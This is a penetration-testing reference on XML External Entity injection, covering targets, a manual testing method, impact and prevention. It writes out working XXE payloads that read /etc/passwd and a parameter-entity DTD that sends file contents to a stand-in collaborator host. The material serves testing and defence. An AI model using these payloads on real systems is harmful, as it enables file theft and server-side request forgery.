XML External Entity Injection

Reports center on:

• XML upload endpoints (.wav with embedded XML, sitemap.xml processed by web crawler, .docx with XML payload)
• SOAP / XML-RPC endpoints accepting user XML
• AEM Forms / WordPress / Enterprise Search XML parsers
• Image processing (SVG with XXE)
• WordPress xmlrpc.php pingback also exposing XXE. Most map to either CVE-marker via Nuclei or an upload-content probe.

• SOAP endpoints
• XML-RPC endpoints (WordPress xmlrpc.php)
• Sitemap / RSS / Atom processors
• Office document upload (docx, xlsx)
• SVG upload
• Adobe AEM Forms
• Apache Solr / Elastic Enterprise Search

• Submit XML body with <!ENTITY xxe SYSTEM "file:///etc/passwd">``
• Upload .wav / .docx / .svg / sitemap.xml with embedded XXE payload
• POST SOAP / XML-RPC body with XXE
• Submit out-of-band collaborator URL in DTD

• <!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>
• <!DOCTYPE x[<!ENTITY xxe SYSTEM "http://collab/">]><x>&xxe;</x>
• Parameter entity: <!DOCTYPE x[<!ENTITY % p SYSTEM "http://collab/dtd">%p;]>
• DTD content: <!ENTITY % e SYSTEM "file:///etc/passwd"><!ENTITY % p "<!ENTITY exfil SYSTEM 'http://collab/?d=%e;'>">%p;%exfil;

WordPress XXE, AEM, Solr, sitemap-parser CVEs.

On upload endpoints, submit minimal XML body with collaborator URL DTD; detect via OOB.

For endpoints accepting XML Content-Type, submit XXE-laden body and watch for OOB.

Tip: Testing tools that run these checks in parallel across every discovered endpoint can cut the time required substantially compared to fully manual testing, as long as they confirm findings with more than one signal to keep the false-positive rate down.

• OOB detection only - never rely on in-band reflection.
• Some XML parsers reject external entities by default but still process parameter entities; confirm via behaviour.

Manual Testing Methodology

Here is a systematic approach to identifying XML External Entity Injection vulnerabilities in a target application.

Before testing, map all input vectors that could be affected. Identify parameters, headers, cookies, and request bodies that interact with the vulnerable component. A proxy such as Burp Suite or OWASP ZAP, paired with normal browsing of the target, is usually enough to build this list.

Send a legitimate request and record the normal response: status code, content length, response time, and any identifying tokens. This baseline matters because it's what you'll compare later responses against once payloads are involved.

Inject test payloads into each identified input vector one at a time. Start with benign detection payloads before escalating to anything that could actually trigger the vulnerability. For XML External Entity Injection specifically, submit a minimal DOCTYPE declaration defining an external entity pointing at a local file (<!ENTITY xxe SYSTEM "file:///etc/passwd">) referenced from a text node in the document body, then retry with an out-of-band variant (an entity pointing at a collaborator URL) to catch blind cases where the response doesn't echo the entity value directly.

Compare the response against your baseline, looking specifically for file contents appearing in the parsed response, an out-of-band DNS/HTTP callback on the collaborator domain, or a distinctive parser error confirming DTD processing occurred even without data exfiltration.

Once a potential vulnerability is detected, confirm it with at least a few independent test cases to rule out coincidence. Document the exact request and response as proof. For XML External Entity Injection, a confirmed finding typically means showing that attacker-controlled input changes the application's behavior in a way that matters for security, not just that a payload was reflected somewhere harmless.

Real-World Impact

XML external entity injection lets attackers interfere with how an application parses XML. By defining external entities that reference local files, internal network resources, or out-of-band channels, an attacker can read arbitrary files from the server, perform SSRF against internal services, trigger denial-of-service through entity expansion, and in some cases achieve remote code execution.

XXE is dangerous largely because default XML parser configurations in many languages process external entities unless a developer explicitly disables that behavior. That means any application accepting XML input, whether through a SOAP API, SVG upload, or document processing, is potentially exposed without anyone realizing it.

In cloud environments, XXE often provides a direct path to SSRF against the metadata endpoint, which makes it a particularly high-value finding when file read access can be demonstrated.

Prevention and Secure Coding

Preventing XML External Entity Injection takes a defense-in-depth approach — no single control below is sufficient alone, but together they close off both the primary path and the most common bypasses.

Disable external entity resolution. Explicitly disable DTD processing and external entity resolution in the XML parser configuration — this is the single control that matters; everything else is secondary hardening.

Check every parser in the pipeline, not just the obvious one. SVG upload handlers, PDF generators, and office-document parsers all typically parse XML internally and inherit the same default-insecure behavior as a direct XML API endpoint.

Prefer a data format that doesn't need this control at all. Where XML isn't a hard requirement, JSON removes this entire vulnerability class by construction.

Keep parser libraries current. Some historic CVEs in XML libraries bypassed the standard "disable external entities" flag; patch level matters here as much as configuration.